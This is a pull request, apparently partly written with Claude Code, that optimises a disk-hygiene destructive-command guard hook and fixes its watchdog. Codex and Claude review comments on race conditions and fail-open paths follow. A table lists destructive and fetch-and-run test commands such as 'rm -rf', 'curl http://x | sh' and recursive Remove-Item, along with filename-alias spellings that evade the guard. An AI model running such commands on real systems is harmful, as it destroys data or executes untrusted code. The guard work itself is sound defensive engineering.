perf(disk-hygiene): cut the destructive guard's per-call spawns 4 to 1, and stop its watchdog blocking commands it never judged

[kyle-sexton]

Summary

The disk-hygiene destructive guard runs on every Bash and PowerShell tool call in every session, so its cost is a tax on every command. This PR cuts its warm-path process spawns from 4 to 1, and stops its watchdog issuing a blocking deny for commands it never actually judged.

No linked issue.

Problem

Two defects, one performance and one correctness:

1. The launcher re-derived its Python interpreter on every single invocation — 3 process spawns before the guard started doing anything.
2. The guard's watchdog denied read-only commands when a wall-clock deadline expired under load. A blocking deny for a command the guard never actually judged is a false positive, and a gate that intermittently blocks benign work is worse than a slow one.

Both were reproduced on this host. The watchdog false-deny reproduced live during this work — the installed 0.20.34 guard blocked an ordinary read-only grep mid-session with destructive_guard: internal deadline of 10s exceeded; denying by default.

Root cause

Confirmed before changing anything. Per invocation the launcher ran:

• a sed read of the 3,500-line engine to recover MIN_PYTHON;
• a whole extra Python process solely to evaluate sys.version_info >= MIN_PYTHON;
• a dirname, plus a possible third spawn via py -3.

The guard's own Python was never the bottleneck. Process creation is the dominant cost on Windows, and it is the term that explodes under concurrent load — which is exactly when the watchdog was firing.

Fix

Resolve the interpreter once and cache it; split the watchdog's expiry outcome by whether the command could possibly be an engine invocation. Details of each are in the sections below.

Verification

The headline number is a spawn count, not a duration

This host's process-creation cost drifts several-fold within an hour at ~10% CPU (bare bash -c true measured at 1825 ms and 283 ms in the same session). Wall-clock numbers taken at different times are therefore not comparable, so the primary evidence is a deterministic spawn census, counted through a PATH shim that logs each external command and delegates to the real one:

	spawns	detail
before	4	dirname, sed, python3 ×2
after (cold, first run)	4	mkdir, chmod, mv, python3 ×2
after (warm, steady state)	1	python3 — the guard itself

One interpreter spawn is irreducible. The warm path now reaches exec having spawned nothing else.

Timings

Measured with an interleaved harness — old and new alternating within a single run, order flipped each iteration — because two separate passes on this box would attribute drift to the change.

Serial, 24 alternating pairs:

	p50	p95	min	max
before	5446 ms	16991 ms	1231 ms	33226 ms
after	1418 ms	7874 ms	124 ms	10831 ms

Median paired ratio 3.71x; ratio of p50 3.84x; ratio of p95 2.16x.

Under concurrent load (8-way parallel, 24 samples per arm) — the condition under which the watchdog actually fired:

	p50	p95	min	max
before	7622 ms	16507 ms	2876 ms	20099 ms
after	2272 ms	7244 ms	354 ms	7983 ms

The paired ratio is deliberately omitted for the concurrent run: the arms are not load-matched there, so pairing by index would compare samples that never shared conditions. Per-arm percentiles are the honest statistic.

On the p50 ≤ 250 ms / p95 ≤ 500 ms targets

Not met on this host, and not reachable here by any code change. One Python spawn is irreducible, and this machine charges a highly variable 0.2–2.8 s for a process launch. An independent sampling of cmd.exe /c exit (native Windows, no MSYS involved) on the same box gives min 180.5 ms / median 1107.7 ms / max 2841.3 ms — a spread ratio of 15.74 at 501 concurrent processes. user time for 10 bash spawns is 0.090 s, so ~99% of the wall clock is process creation rather than work.

A bimodal spread across identical no-op spawns is itself the diagnosis: this is host contention, not a fixed per-spawn tax. An earlier reading of the same box attributed it to WDAC code-integrity enforcement (Win32_DeviceGuard does report kernel-mode policy enforced) and was retracted — a fixed policy check cannot produce a 15x spread. WDAC remains present and may contribute; it is no longer the leading explanation.

The after min of 124 ms is the evidence that matters: when spawn cost is briefly healthy, the whole hook completes inside the 250 ms target. What remains is one spawn × whatever this host charges for it. Getting under the target on this machine is a WDAC/EDR exclusion, not a code change.

Deny-parity: proven, not asserted

A passing suite proves nothing broke that was asserted; it does not prove the guard still denies what it denied. So there is a differential harness: the pre-change and post-change guards run over the same corpus, in the same directory, with identical argv and environment, requiring byte-identical stdout and exit codes.

Placing the baseline copy in the same directory is what makes byte-exactness the right bar — the guard resolves its bundled engine with Path(__file__).resolve().with_name(...), which depends on the directory, not the file's own name, so both copies disclose identical paths in their denial text.

Corpus: every command literal harvested from the suite's own guard-invoking helpers, plus adversarial shapes aimed at the touched branch (alias spellings hygiene.py. / "hygiene.py " / hygiene.py::$DATA, 8.3 names, cd-then-relative, wrapper words env/sudo/nohup/timeout, expansions, operators, marker-lookalikes test_hygiene.py / myhygiene.py, and the mere-mention forms).

The harness runs all three mode surfaces: engine-gate, belt, and no --mode at all (what the skill frontmatter passes, which resolve_mode resolves to belt).

corpus commands     : 60
invocations compared: 360  (3 modes x 2 tools x 60; x2 guards = 720 runs)
denials (baseline)  : 272
denials (candidate) : 272
PARITY: byte-identical stdout and exit code on every invocation.

An earlier revision of this harness ran engine-gate only. That gap is precisely why the first version of this PR shipped a belt-mode regression, recorded below.

Independently re-derived by a fresh-context reviewer, on a wider matrix than mine:

corpus commands  : 119   (this PR's own harness: 60)
axes             : 9     argv shapes, not just modes
total comparisons: 2250
TOTAL MISMATCHES : 0     stdout, exit code, AND stderr byte-identical

Its nine axes cover the two I had plus: no --plugin-root/--authorized-data-root (which exercises a different denial text), an unexpanded ${CLAUDE_PLUGIN_ROOT}, the --flag=value spelling, a mismatched data root, a bogus --mode value, and no argv at all. Its conclusion on my original harness is worth repeating: the gap was the invocation matrix, not corpus size — thirty more command strings on a single axis would not have found the belt regression.

One deliberate divergence, which is the reported bug

The differential covers non-expiry paths. There is exactly one intended behavioral change, and it is the fix itself:

On watchdog expiry with a provably marker-free command, the guard now emits ask where it previously exited 2. That is a removed denial, stated plainly. It is justified because:

• a command carrying the engine marker — the only shape whose completed verdict could have been deny — still exits 2, unchanged;
• a marker-free command's completed verdict would have been the plugin-level defer, which emits no decision at all and lets the command run. ask is therefore strictly more protective than the outcome the guard would have reached had it finished, and strictly less blocking than the exit 2 it replaces;
• a stall before the payload parses (the stdin-stall shape) still denies at exit 2.

Fail-closed is preserved in the sense that matters: every path still delivers a decision. The fail-open ADR 0004 documents is the harness killing a hook that produced no permissionDecision at all; no branch here does that.

The residual not covered was measured rather than estimated. _watchdog_marker_present diverges from _engine_gate_relevant on exactly one set:

{no token's basename is the engine filename} ∩ {some candidate is samefile with the bundled engine}

That is the whole filesystem-identity class, and it is wider than hard links. It includes the Win32 filename-alias spellings — hygiene.py. (Win32 discards the trailing dot; _carries_marker's rstrip("/\\") does not) and hygiene.py::$DATA (splitting on [/\\:] and taking the last part yields the empty string). Both open the bundled engine while having no marker basename, and both are the exact class _engine_gate_relevant's own docstring says identity is what closes:

Asking the filesystem whether a spelling resolves to the engine closes every alias at once. Enumerating the spellings closes one per review round — so identity, not the name, is the authority here.

Confirmed on real watchdog expiry: hygiene.py., hygiene.py..., ./hygiene.py., hygiene.py::$DATA and hardlink/symlink variants were all baseline DENY → ask in engine-gate mode. The mode gate does not close this; it only removes belt from the population. _engine_gate_relevant settles it by asking the filesystem, which is unavailable to the watchdog by construction, and it is already an accepted residual class in that function's own contract. A plain byte copy is a different file and is relevant to neither.

Two fail-opens this change had to close in itself

Both found by testing the change rather than by reading it:

• Spliced JSON. Two threads writing stdout would interleave a malformed object, which PreToolUse reads as no decision, so the command proceeds unguarded — the exact fail-open the watchdog exists to close, reintroduced by the watchdog. Emission is now serialized and latched to exactly one object, and the watchdog takes the lock under a bounded wait so a main thread wedged while holding it cannot deadlock the timer thread into never firing.
• Lost decision on hard exit. os._exit skips the interpreter's shutdown flush, so exiting on the already-decided path discarded the decision the main thread had just buffered. Exit 0 carrying no JSON is read as no decision at all. Both hard-exit paths now flush first.

_watchdog_marker_present is deliberately syscall-free. That is a requirement, not an optimisation: it runs on the timer thread precisely because the main thread is presumed wedged in a filesystem call, so a classifier that touched the filesystem could wedge identically and the watchdog would never fire. A test asserts it by making every os.path probe raise.

Cache design

Keyed on the launcher's own directory (already version-pinned, so a plugin upgrade cannot read a stale entry) and stored under $HOME/.cache/disk-hygiene. The location is derived from $HOME and SCRIPT_DIR and nothing else — a hard constraint, since the skill-frontmatter registration may substitute only ${CLAUDE_PLUGIN_ROOT} (#1014).

Invalidation, all checked with bash builtins so the hit path spawns nothing:

trigger	mechanism
launcher upgrade rewrote the record shape	schema tag
a different python3 may now win	PATH compared verbatim
interpreter removed, or replaced by a WindowsApps alias stub	[[ -x ]], [[ -s ]]
in-place interpreter upgrade	[[ ! "$interp" -nt "$cache" ]]
new interpreter installed with a preserved older mtime	TTL (24 h, overridable)

Any miss, corrupt record, or unwritable cache location falls back to full resolution — never to "no interpreter", which is the guard's silent fail-open.

Two Windows-specific traps worth flagging for reviewers, both of which cost a round here:

• x="$(f)" is a spawn. Command substitution forks a subshell, and on MSYS a subshell is a real process creation. Every hot-path helper reports through a global instead of stdout for this reason.
• ${var: -N} returns the empty string when the string is shorter than N, which silently collapsed the per-plugin cache key onto one shared file.

Tests

The resolution logic is unchanged and still runs on a miss; it exists for real reasons (WindowsApps stubs, py launcher fallback, version floor). It just no longer runs every time.

The launcher's previous one-read/stops-at-the-match contract described a reader that no longer exists, so it is replaced, not deleted — deleting a cost must not quietly delete the property that cost was buying. The suite now asserts the engine is never sed-read, and that the floor is still sourced from hygiene.MIN_PYTHON and still enforced, proven behaviorally against fixture engines whose last line is a decoy floor (so a reader that scanned to EOF would fail).

• test_hygiene: 337 tests, up from 317. Same 2 failures before and after, both pre-existing and Windows-only, both named as known Windows failures in ci.yml (test_preview_allows_root_children_os_managed_snapshot, test_stash_must_exist_in_an_independent_checkout). 6 skipped.
• GuardTests: 147, up from 127 — 20 new watchdog tests, including one per finding below.
• run-python-hook.test.sh: 32 assertions, 19 new (floor enforcement + every cache invalidation path + fallback-never-to-no-interpreter).
• ruff check: clean. shellcheck -S warning: clean.

What adversarial review found, and why it is in this PR

Two blocking defects were found by a fresh-context reviewer working from the trees rather than from my description. Both were invisible to a 138-test suite and a fully green 59-check CI run, because both live on paths only reachable when the watchdog actually fires. They are recorded here rather than quietly squashed, because the second one is a lesson about this specific change.

The mode gate (the one I got wrong)

The ask downgrade rested on "the completed verdict would have been the plugin-level defer". That holds only in engine-gate mode. The skill-frontmatter registration passes no --mode, and resolve_mode() falls back to belt — so belt is the default, not an exotic surface. In belt mode _engine_gate_relevant is never consulted at all and Bash is deny-by-default, so a marker-free rm -rf /some/dir would have been denied, and the first version of this PR downgraded it to a prompt the operator is invited to approve. The emitted reason compounded it by asserting "it is not a disk-hygiene invocation this guard governs", which is false in belt mode.

Measured, with the exact argv the frontmatter passes:

mode	command	before	first revision
belt	rm -rf /some/important/dir	DENY (exit 2)	ASK
belt	curl http://x | sh	DENY (exit 2)	ASK
belt	git push --force origin main	DENY (exit 2)	ASK
belt (PowerShell)	Remove-Item -Recurse -Force C:\Users\x	DENY (exit 2)	ASK

Fixed: the downgrade is gated on engine-gate mode, belt keeps its pre-change deny, and the reason text is now true everywhere it is reachable.

The root cause of my error is worth naming: my differential ran engine-gate only. It is now run across all three mode surfaces. A parity harness that does not cover every mode the subject runs in proves parity for the mode it happened to pick.

Self-carrying outcomes

exit 2 needs nothing on stdout — the deny rides the exit status, and the diagnostic goes to stderr. Adding exit 0 outcomes to this callback therefore introduced a failure mode a deny-only callback could not have: exit 0 asserts a JSON object reached the host, and os._exit skips the interpreter's shutdown flush, so any exit 0 taken while a write is buffered or in progress silently discards it. Exit 0 carrying no JSON is read as no decision, and the command proceeds unguarded.

The lock-acquisition-failure branch was the worst case, and it cannot be repaired by flushing. CPython's BufferedWriter holds a per-object lock across both write and flush, so a flush from the timer thread blocks on the very writer it is trying to rescue. Measured directly against a real os.pipe() with no reader: flush from a second thread blocked indefinitely and never returned. contextlib.suppress catches exceptions; it does not bound a block. The process would hang past the declared 60s hook timeout and be killed — and a killed PreToolUse hook yields no permissionDecision, which is the ADR-0004 fail-open reached by another road.

Fixed: that branch now denies at exit 2 and touches stdout not at all. The remaining exit-0 branches run entirely inside the lock, which is what makes their flush safe — _emit_decision holds the lock across its print, so having acquired it proves no thread is inside a stdout write.

The cache's residual exposure, stated rather than implied

Review attacked the cache directly and could not construct a state that makes the launcher fail to run its target: interpreter missing, empty or non-allowlisted interpreter=, non-numeric written, schema mismatch, a path= value containing =, a truncated record, 200 KB of binary garbage, the cache file being a directory, a read-only cache file, the cache directory being a regular file, HOME unset, spaces in the interpreter path, a symlinked interpreter. Every one degrades to full resolution and still emits a decision.

The gap is the other direction, and it is real:

• The hot path validates shape, not identity — [[ -x ]], [[ -s ]], and an interpreter basename. An executable, non-empty file merely named python3 is exec'd, the guard never runs, and the hook exits 0 having enforced nothing. This cannot be strengthened without spending the spawn the cache exists to remove, so it is documented in the code as a known limit, and a test pins the boundary that is enforced so widening the basename allowlist fails.
• Reaching it requires writing the record, whose location derives from $HOME. HOME is therefore an input to this control that the pre-cache launcher did not have. Both readings are recorded honestly: unreachable if nothing untrusted can set HOME for hook subprocesses; otherwise a new instance of an existing exposure — a hostile PATH already fails open on the pre-change launcher too, since its version probe only checks an exit status, which any two-line script satisfies. It is not a new kind of channel, and the code's "anyone who can write here can already edit the hook registration" argument does not cover an env vector, so it is called out rather than waved through.

Changed as a result: the cache TTL is now compiled in, with the DISK_HYGIENE_INTERPRETER_CACHE_TTL environment override removed. A widened TTL made the launcher accept a record it would otherwise reject as stale (demonstrated: a ten-day-old record refused under the default, accepted under a widened value), which is precisely the env-borne input to a security control that resolve_disk_hygiene_enabled refuses on the Python side — "a repo settings.json env block reaches hook subprocesses and carries no provenance a hook could check". A tunable staleness window does not earn a channel of that kind.

Also corrected: a comment claiming main's finally ordering prevented a live timer from observing cleared state. Cancelling does not stop a running callback, so it can — and it would then route to the non-flushing exit 2, discarding a buffered decision. Fail-closed and microsecond-wide, but the stated reason was not the real one; main now flushes before resetting, which is the actual mechanism.

Findings from the automated review lanes, and what they changed

Six rounds of review across codex and the repo's claude code-review and
security lanes. Four findings were real; all are fixed, and the two that were
bugs I introduced are worth naming because both were invisible to a passing
suite and a green CI run.

P1 — the warm cache could never hit on py-launcher-only Windows hosts. The
basename check split only on /. The py -3 fallback resolves through
print(sys.executable), which on Windows returns a native backslash path — and
that fallback exists precisely for hosts where neither python3 nor python is
on PATH. So the allowlist compared a whole path against bare interpreter
names, never matched, and the record was rejected on every invocation: the warm
path was dead on exactly the host class the branch was written for, silently
and with no error. Nothing caught it because every interpreter path this suite
produced was POSIX. Now split on both separators, case-insensitively, with a
contract test that writes a native path into a cache record — verified to fail
without the fix.

The stand-down opened a fail-open on the one path that carries nothing on
stdout. main's outer except BaseException returns 2 having emitted
nothing; the deny rides the exit status, which is this module's stated contract.
A dispatched watchdog reading a stale token then took an unconditional
os._exit(0) — a whole-process kill that runs before the main thread reaches
__main__'s exit. The deny never happened: exit 0, no JSON, command proceeds
unguarded. The mechanism added to stop the watchdog overriding decisions had
become a way to erase one. The stand-down now carries the result main actually
reached, published in the same lock hold that clears the token, defaulting to 2
when unknown.

Two review claims I did not accept, with reasons stated on the PR rather
than quietly ignored: the reset race does not produce two JSON objects (a
cleared command is marker-present by construction, so both mode-gate arms reach
the non-printing exit 2 — the residual is fail-closed, the opposite direction);
and the suggested fix of dropping the cleanup reset breaks a pre-existing test
that drives _watchdog_fire directly.

Two earlier claims of mine that review disproved, corrected rather than
restated: successive comments credited first the cancel-before-reset ordering
and then the flush with closing that race. Neither does. cancel() cannot stop
a dispatched callback and a flush only makes an already-printed decision
durable. An invocation token closes it; the comments now say so.

Related

No related PRs or ADRs this PR does not close. Context it builds on:

• docs/adr/0004-rightsize-instruction-surfaces-by-incumbent-first-arbitration.md — the killed-PreToolUse-hook fail-open this guard's watchdog exists to close.
• disk-hygiene: the always-on Bash|PowerShell PreToolUse gate states no measured share in its README, and its launcher scans the 3,498-line engine twice per shell call #2853 — the previous optimisation of the launcher's engine read, whose one-read/stops-at-the-match contract this PR supersedes.
• refactor(disk-hygiene): derive the Python version floor from one origin #1028 — hygiene.MIN_PYTHON as the single origin of the version floor, preserved here.
• fix(disk-hygiene): stop guard hook fail-open on skill-hook data-root token #1014 — why the cache path may derive only from ${CLAUDE_PLUGIN_ROOT} / $HOME.
• disk-hygiene: destructive guard exits 1 with empty stderr after 17s — a live fail-open distinct from #1242 #1423 — the fail-closed exit-code contract the watchdog change works within.

Assumptions and follow-ups

• The cache benefit assumes PATH and $HOME are stable across hook invocations. PATH is the cache key; if the harness varied it per call the warm path would never hit. The fallback is correct either way (no HOME → cold path, never a wrong answer), but the benefit depends on it. Worth a post-merge confirmation on a live session.
• CI coverage gap. disk-hygiene-guard-windows runs GuardTests only; run-python-hook.test.sh runs in the plugin-gate lane. Every behavior added to the launcher is Windows-specific (MSYS subshell cost, -nt granularity, WindowsApps stubs). If plugin-gate is Linux-only, the launcher contracts are not exercised on the platform they exist for. Not fixed here.
• Not touched deliberately: _engine_gate_relevant's semantics. Its marker-free fallback calls os.path.samefile on every whitespace token of every command, which is the identified stall source (a dead drive letter or UNC path in an unrelated command stalls it unboundedly). Its own docstring says it scans "separator-carrying words", but the implementation passes all words with no separator filter. Adding that filter looks like a large further win and matches the documented contract — but it is a change to the security core's semantics and deserves its own PR and its own review, not a ride-along in a performance change.

🤖 Generated with Claude Code

[chatgpt-codex-connector]

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review	Status	Commit	Review trigger
📝 Code Review	✅ Completed 2026-08-31T17:33:34.253373Z	3a8deb8	PR opened

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

[claude]

Claude finished @kyle-sexton's task in 5m 11s —— View job

---

Code review complete

Reviewed the diff against origin/main per the /review:code-review CI lane (correctness + maintainability, security out of scope for this lane). Focus was hooks/run-python-hook.sh (interpreter cache) and skills/clean/scripts/destructive_guard.py (watchdog serialization), since those carry the PR's behavioral changes; the test additions in run-python-hook.test.sh / test_hygiene.py are thorough (cache invalidation paths, floor-enforcement-without-sed, watchdog branches) and I didn't find gaps beyond the one noted below.

Findings

1. Possible TOCTOU race lets the watchdog override an already-delivered decision (posted inline)
plugins/disk-hygiene/skills/clean/scripts/destructive_guard.py#L1864-L1871 — the marker-present branch of _watchdog_fire reads _DECISION_EMITTED under the lock, releases it, then does non-trivial work (regex classification, a stderr write) before an unconditional os._exit(2), without re-checking the latch. If the main thread delivers its own decision during that window, the watchdog's hard exit(2) still overrides it with a deny — narrow, but it's exactly the class of bug (guard blocks a command it didn't finish judging) this PR is fixing, reintroduced under the same load conditions the PR targets. See the inline comment for the concrete race and a suggested fix (mirror the latch re-check the ask branch already does via _emit_decision).

2. README.md's "Known costs, accepted" section is now stale (no changed line to anchor to — not touched by this PR)
plugins/disk-hygiene/README.md#L239-L242 still describes the launcher as doing "the launcher's read of the engine to recover MIN_PYTHON (a single early-quit sed since 0.20.13...)" costing "≈ 24 ms, ≈ 13% of the hook's cost," and contrasts it with "the prior two-full-pass form." This PR removes that sed read entirely and replaces the whole resolution path with a warm-path cache (per the PR body: 4 spawns → 1 on the warm path). The README's measured-cost narrative for the always-on hook is no longer accurate, and .claude/rules/hook-budget.md / docs/conventions/hook-budget/README.md rule 1 calls for the plugin's README to state its measured always-on share for review against the fleet budget — a change this large to the hook's spawn behavior leaves that section describing a mechanism that no longer exists. Since this is a cost reduction rather than a new/widened hook, it's not a hard blocker under the letter of the rule, but the stale numbers should be updated (or at least flagged as superseded) so the README doesn't misrepresent current behavior to the next reviewer measuring against the budget.

Not flagged (verified, judged fine)

• Interpreter cache design in run-python-hook.sh (schema tag, PATH-verbatim key, -x/-s/-nt checks, TTL, ${key:offset} bounding, _cache_file_path fallback) — invalidation paths all covered by new tests, and every hot-path helper is builtin-only as claimed.
• _emit_decision/_EMIT_LOCK serialization for the non-watchdog decision paths, and the stdin-stall-still-denies path — correct and tested.
• SCRIPT_DIR absolute-path fast path (${BASH_SOURCE[0]%/*} vs. the cd+pwd fork) — correctly falls back to the fork for relative invocation, matches the two callers' actual (absolute) invocation strings.
• CHANGELOG.md / version bump (0.20.35 → 0.21.0) accurately describe the changes.

Author-claimed spawn counts, timing measurements, and differential-guard parity results in the PR description are unverified by me (I did not re-run the harnesses described there) — noting per review policy rather than treating them as independently confirmed.

[claude]

Claude finished @kyle-sexton's task in 7m 35s —— View job

---

Security review (/review:security-review)

• Gather context (PR body, changed files)
• Invoke /review:security-review skill and follow its procedure
• Post findings / summary

Skip gate: PR is open, and the diff touches a security-critical component (the destructive-guard hook), so a full review ran. Scope was limited to the changed files per the lane's criteria — plugins/disk-hygiene/hooks/run-python-hook.sh, plugins/disk-hygiene/skills/clean/scripts/destructive_guard.py, and their tests.

Findings

IMPORTANT — decision-latch reset can race with an in-flight watchdog and reopen the spliced-stdout fail-open this PR closes elsewhere. Posted as an inline comment on destructive_guard.py#L2053.

In short: main()'s finally block calls watchdog.cancel() (L2047) then unconditionally _reset_decision_state() (L2053), with no join(). threading.Timer.cancel() cannot stop a callback that has already started, so under exactly the "command finishes right at the watchdog deadline, under load" condition this PR targets, _watchdog_fire (L1790) can be mid-flight when this reset runs. If the watchdog's unlocked read of the latch lands right after the reset, it treats an already-delivered real decision as undelivered and — for a marker-free command (in --mode belt this includes ordinary destructive commands, not just hygiene-engine ones) — prints a second JSON object to stdout via its ask branch. Two JSON objects on one stdout stream is the same "PreToolUse reads malformed output as no decision → command proceeds unguarded" case the new _EMIT_LOCK machinery exists to prevent; this path reopens it through the cleanup code. None of the new watchdog tests exercise a real Timer racing a real main() return, so the gap is untested. Full detail, including a suggested fix (drop the redundant finally-block reset, since the top-of-main() reset already covers the test-reentrancy case it's meant for, or gate it on a bounded watchdog.join()), is in the inline comment.

Reviewed and not flagged

• The intentional deny→ask downgrade on watchdog expiry for provably marker-free commands (the PR's headline fix) — the trade-off is well-reasoned and explicitly scoped (marker-carrying commands are unaffected; the residual is the same filesystem-identity linked-alias class _engine_gate_relevant already accepts).
• The resolved-interpreter cache in run-python-hook.sh ($HOME/.cache/disk-hygiene/interpreter-*) — an attacker able to write that file could point the guard's launcher at an arbitrary interpreter, but that requires local write access to $HOME, which already allows rewriting hook registrations directly. Validation (schema tag, verbatim PATH match, executable/non-empty, basename allowlist, mtime check, TTL) is sound defense-in-depth for what it claims to be.
• _watchdog_marker_present's syscall-free requirement — confirmed no filesystem calls in _marker_tokens/_carries_marker, and it fails toward "marker present" (deny) on any exception, consistent with the fail-closed contract.

[github-actions]

Claude has reviewed this PR 5 times. The lane skips further automatic reviews after 5; deleting this comment resets the count.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 3a8deb86bb

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[github-actions]

Last security-reviewed head: 25a6a2ea5cb7297d6ddb06f5c2df3f188105af95. On the next push, the relevance gate compares only the commits since this SHA; delete this comment to force a full re-review.

[claude]

Claude finished @kyle-sexton's task in 5m 18s —— View job

---

Code review complete (/review:code-review, HEAD 9da9149)

• Gather context (PR body, prior review comments, changed files)
• Invoke /review:code-review and follow its procedure
• Post findings as inline PR comments
• Post summary

Scope: correctness + maintainability (security out of scope for this lane; already covered separately). Compared HEAD 9da9149 against the branch point 949c54b — matches the PR's reported diff (+1050/-132, 6 files). Read plugins/disk-hygiene/hooks/run-python-hook.sh and plugins/disk-hygiene/skills/clean/scripts/destructive_guard.py in full, since those carry the PR's behavioral changes, and cross-checked the two prior "IMPORTANT" watchdog-race findings against the last commit (9da9149), which was written specifically to address adversarial-review feedback on the commit before it.

What the last commit fixed

9da9149 closes the more severe of the two previously-reported watchdog issues: the ask-downgrade is now gated on engine-gate mode (Codex's P1 about belt-mode being denied-by-default), and _watchdog_fire now holds _EMIT_LOCK across its entire body instead of releasing it before doing marker-classification/diagnostic-write/os._exit, which closes the TOCTOU that could previously let the watchdog override an already-delivered decision with a stale os._exit(2). Good fix.

New findings (posted inline)

1. run-python-hook.sh:217-221 — the cache's basename allowlist strips only /, not \. On the Windows hosts where the py -3 fallback actually matters (no python3/python on PATH), the cached interpreter path is backslash-delimited, so _cached_python3 rejects the record on every read. That host class gets the full 4-spawn cold path on every invocation, forever — the cache never activates for exactly the case its own fallback exists for. This was already flagged by a Codex review on an earlier commit and is still open, still untested.

2. CHANGELOG.md:19 (new finding) — the 0.21.0 entry says a marker-free command "emits ask" on watchdog expiry with no qualification. That was true as of 3a8deb8 but 9da9149 narrowed it to engine-gate mode only; belt mode (the actual default, since the skill-frontmatter registration passes no --mode) still denies at exit 2. As written, the changelog now describes different behavior than what ships in the plugin's default deployment.

3. destructive_guard.py:2098-2105 — main()'s finally block still calls _reset_decision_state() right after watchdog.cancel() with no join(), and Timer.cancel() doesn't guarantee a callback that's already past its internal check is stopped. The severe consequence (spliced/lost stdout) is now closed by the 9da9149 rework — a race here forces _COMMAND_UNDER_DECISION to None, which always routes the watchdog to the self-carrying exit 2 path. What's left is narrower: under that same timing, a command the main thread already legitimately decided (e.g. allow) can still be overridden by a spurious deny — the class of bug this PR's title is about eliminating, just now bounded to fail-closed instead of fail-open. No test exercises a real Timer racing a real main() return at the deadline. The justifying comment above the reset also overstates what cancel() guarantees.

Not flagged (reviewed, judged fine)

• _watchdog_fire's mode-gate logic and self-carrying-outcome design (9da9149) — sound, and matches its own docstring's stated invariants.
• Interpreter-cache invalidation logic in run-python-hook.sh (schema tag, verbatim PATH match, -x/-s/-nt, TTL, ${key:offset} bounding) apart from finding chore: initialize marketplace scaffold #1 above.
• New tests in test_hygiene.py / run-python-hook.test.sh — thorough for the paths they do cover (mode-surface differential, floor enforcement without sed, cache invalidation triggers).

Carried over from an earlier review pass, still true and not addressed by this push: plugins/disk-hygiene/README.md's "Known costs, accepted" section still describes the removed sed-based MIN_PYTHON read this PR deleted — stale, not blocking.

[claude]

Claude finished @kyle-sexton's task in 4m 55s —— View job

---

Security review (/review:security-review)

• Gather context (PR body, prior review comments, changed files)
• Diff origin/main...HEAD (9da9149) and re-examine the watchdog/cache code that the last two commits changed
• Post findings

Scope: the security-critical surfaces this PR touches — plugins/disk-hygiene/skills/clean/scripts/destructive_guard.py (watchdog serialization/latch) and plugins/disk-hygiene/hooks/run-python-hook.sh (interpreter cache) — with particular attention to whether commit 9da9149 ("gate the watchdog downgrade on engine-gate mode and keep every expiry outcome self-carrying") actually closed the races flagged against 3a8deb8 by the earlier Claude/Codex reviews on this PR.

Findings

1. IMPORTANT — main()'s cleanup can still race an in-flight watchdog and force a deny over an already-delivered decision. destructive_guard.py#L2095-L2105

9da9149 fixed the race inside _watchdog_fire itself (the lock is now held continuously from the state read through the terminal os._exit, closing the finding posted against 3a8deb8). It did not touch the separate race in main()'s finally block:

if watchdog is not None:
    watchdog.cancel()
# Clear the latch AFTER cancelling, so no live timer can observe the
# cleared state and re-decide a call that already has its answer. ...
_reset_decision_state()

threading.Timer.cancel() only prevents the callback from starting; it cannot stop or await one that has already been dispatched (CPython's Timer.run() checks finished.is_set() once, before invoking the function — cancel() just sets that flag). So exactly under the condition this whole PR is about — a decision completing right at the watchdog deadline, under load — the timer thread can already be inside _watchdog_fire, blocked on _EMIT_LOCK, while the main thread reaches this finally block and calls _reset_decision_state() (also with _EMIT_LOCK:) with no join() in between.

If _reset_decision_state() wins that lock race after the main thread has already emitted a real decision (any permission — allow, ask, or deny — via _emit_decision), it clears both _DECISION_EMITTED and _COMMAND_UNDER_DECISION together. The watchdog then reads _DECISION_EMITTED=False and command=None, and _watchdog_marker_present(None) is True by contract, so it takes the deny branch and calls os._exit(2) — unconditionally, regardless of mode or what was already decided. Because os._exit is a hard process kill, this discards whatever exit code the main thread was about to return and forces the process to exit 2. A command the guard already correctly judged (including a legitimate allow) can therefore still be blocked by the watchdog — the exact bug class #3502 set out to remove, now reachable through the cleanup path instead of the fire path.

(The literal "spliced stdout" framing from the earlier review of 3a8deb8 no longer applies verbatim — _COMMAND_UNDER_DECISION is cleared to None in the same reset, so the watchdog's ask-with-a-second-print branch is unreachable in this race; it always lands on the silent exit 2 deny instead. The underlying hazard — the watchdog overriding an already-delivered decision — is the same one, just with a different observable outcome.)

None of the new tests in this commit exercise it: test_watchdog_emits_at_most_one_object_across_every_expiry_branch and its siblings all call _watchdog_fire directly with hand-set module state, never through a real threading.Timer racing a real main() return.

Suggested fix (as the prior review noted): drop the finally-block reset — the top-of-main() reset already covers the test-reentrancy case it exists for — or bound it on confirming the watchdog is not concurrently inside _watchdog_fire, e.g. watchdog.cancel(); watchdog.join(timeout=...) before clearing shared state, denying (not resetting) if the join times out.

Fix this →

Reviewed and not flagged

• The TOCTOU race from the previous round (3a8deb8 review) is fixed. _watchdog_fire now acquires _EMIT_LOCK once and holds it continuously from the state read through whichever terminal os._exit runs — no more read-then-release-then-decide window.
• The belt-mode downgrade bug Codex flagged is fixed. The ask downgrade is now gated on resolve_mode() == _MODE_ENGINE_GATE; belt (the skill-frontmatter default) keeps the pre-change exit 2 for a marker-free command, so a deny-by-default surface can no longer be timed out into a promptable ask.
• The lock-acquisition-failure branch now denies instead of trying to flush. Correct per the commit's own measurement: BufferedWriter takes the same per-object lock across write and flush, so flushing from the timer thread while the main thread is wedged mid-print would itself hang past the hook timeout — the new exit 2-with-nothing-on-stdout avoids that.
• Interpreter cache validation in run-python-hook.sh (schema tag, verbatim PATH match, -x/-s/-nt, TTL, basename allowlist) — sound defense-in-depth for what it claims (an attacker who can write $HOME/.cache can already rewrite the hook registration), and fails closed (re-resolves) on any miss or corrupt record, never to "no interpreter."
